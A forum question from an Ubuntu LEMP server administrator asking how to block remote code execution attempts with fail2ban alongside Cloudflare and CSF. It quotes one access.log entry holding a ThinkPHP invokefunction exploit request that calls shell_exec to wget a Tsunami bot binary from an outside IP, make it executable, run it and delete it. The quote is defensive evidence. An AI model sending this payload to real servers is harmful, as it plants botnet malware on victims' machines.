Recently I figured out, that my Ubuntu (LEMP) server became a target for remote code execution attacks. In terms of access.log files it could looks like:
183.82.248.85 - - [06/Mar/2019:19:12:21 +0530] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://178.128.192.144/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 166 "-" "Tsunami/2.0"
I am using Failban, Cloudflare and CSF. I want to know, are there any other possibilities to block such attack by using fail2ban
? If I managed to block such attacks I would block those IP's from CloudFlare WAF.